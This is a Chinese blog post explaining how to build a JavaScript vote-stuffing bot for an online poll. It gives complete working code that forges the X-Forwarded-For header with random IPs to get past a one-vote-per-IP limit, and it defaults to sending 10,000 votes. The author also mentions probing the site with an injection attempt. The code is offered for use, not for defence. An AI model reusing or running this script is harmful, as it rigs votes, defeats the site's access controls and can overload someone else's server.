zoukankan      html  css  js  c++  java
  • 【我们开发有力量之二】利用javascript制作批量网络投票机器人(自动改IP)

    帮朋友忙网络投票,粗粗地看了下,投票没有什么限制,仅有一个ip校验:每天每个ip仅能投票一次。

    也就是说,可以写一个程序,自动更换IP地址(伪造IP地址),实现批量刷票的目的。于是我写了一个投票机器人。。。

    解决办法

    1、伪造ip,http协议中,request有个属性:"X-Forwarded-For",这个属性值就是服务器端的程序所能获取的ip。通过request.setRequestHeader("X-Forwarded-For","10.12.10.1");

    以下代码用于生成随机IP地址:

    function r(min,max){  
        return Math.floor(min+Math.random()*(max-min));  
    }  
    function getRandomIp(){  
        return r(1,255) + "." + r(1,255) + "." + r(1,255)+ "." + r(1,255);  
    }  

    2、网络投票全代码,投票地址已经隐去:

    <span style="font-size: small;"><span style="line-height: 18px;"><script>  
    function CreateXMLHttp2(){  
    var xmlhttp=null;  

    if (window.XMLHttpRequest)
    { xmlhttp = new XMLHttpRequest(); }
    if (!xmlhttp&&window.ActiveXObject)
    {
    try
    {
    xmlhttp = new ActiveXObject("Msxml2.XMLHTTP.5.0")
    }
    catch(e)
    {
    try
    {
    xmlhttp = new ActiveXObject("Msxml2.XMLHTTP.4.0")
    }
    catch(e)
    {
    try

    {
    new ActiveXObject("Msxml2.XMLHTTP")
    }
    catch(e)
    {
    try{new ActiveXObject("Microsoft.XMLHTTP")}catch(e){}
    }
    }
    }
    }
    if(!xmlhttp){alert("XMLHTTP不可用。即将跳转到非Ajax页面。");location="nonAjax.htm"} return xmlhttp; } var g_i=0; var timer; function $(obj){ return document.getElementById(obj); } function onSearch(){ var g_xmlhttp=CreateXMLHttp2(); if (!g_xmlhttp){ alert("你的浏览器不支持ajax"); return; } var idVal = $("id").value; var sendData="id="+idVal; var fakeIP=getRandomIp(); var total = $("total").value; var intervalTime = $("intervalTime").value; var timeRemain = (total-g_i)*intervalTime/1000; $("res").innerHTML="已投票:" + g_i +"</br>估计剩余时间:" + timeRemain + "秒" + "</br>当前伪造IP:" + fakeIP+"</br>"; //alert(fakeIP);return ; try{ g_xmlhttp.open("GET","http://www.xxx.com/xly/tp/tp.php?id=" + idVal,true); g_xmlhttp.setRequestHeader("Content-Length",sendData.Length); g_xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded"); //伪造ip的属性 g_xmlhttp.setRequestHeader("X-Forwarded-For",fakeIP); g_xmlhttp.onreadystatechange=function(){ if(/*g_xmlhttp.status==200*/g_xmlhttp.readyState==4){ if(++g_i<total){ timer = setTimeout("onSearch()",intervalTime); } if(g_i >= total){ alert("本次投票完成"); } } } g_xmlhttp.send(sendData); }catch(e){ } } function r(min,max){ return Math.floor(min+Math.random()*(max-min)); } function getRandomIp(){ return r(1,255) + "." + r(1,255) + "." + r(1,255)+ "." + r(1,255); } function stopSearch(){ clearTimeout(timer); } function startInit(){ $("res").innerHTML="" } </script> <form name="form1" method="post" action="" id="form1"> <div> <br /> <input id="ip" type="hidden" value="124.22.11." /> <br /> 投票间隔(单位毫秒): <input id="intervalTime" type="text" value="200" /> <br /> 投票总数: <input id="total" type="text" value="10000" /> </br> 投票ID: <input id="id" type="text" value="77" /> </br> <input id="search" type="button" onclick="startInit();onSearch();" value="开始" /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <input id="search" type="button" onclick="stopSearch();" value="停止" /> <br /> <br /> <span id="res"></span> <br /> <br /> </div> </form> </span></span>

    需要注意的是,不能投票太快,投票时间要有间隔,主要是怕服务器被投宕机了。试着给注入下,发现应用和数据库是在同一台机器上,每次投票,应用要执行1次DB查询,是查ip+id,如果查询验证成功,则执行1次DB的插入。

    希望这个例子对大家有所启发。

  • 相关阅读:
    Spring Boot 使用常见问题
    JPA 使用
    JPA 复杂查询
    Gitlab利用Webhook实现Push代码后的jenkins自动构建
    消息中间件的使用场景
    消息中间件资料整理
    js原生跨域--用script标签实现
    遍历类成员并赋值
    Spring boot 读取 application.properties 文件方法
    fastjson 进行json转实体类对象及一些常用操作
  • 原文地址:https://www.cnblogs.com/ranran/p/js_vote_robot.html
Copyright © 2011-2022 走看看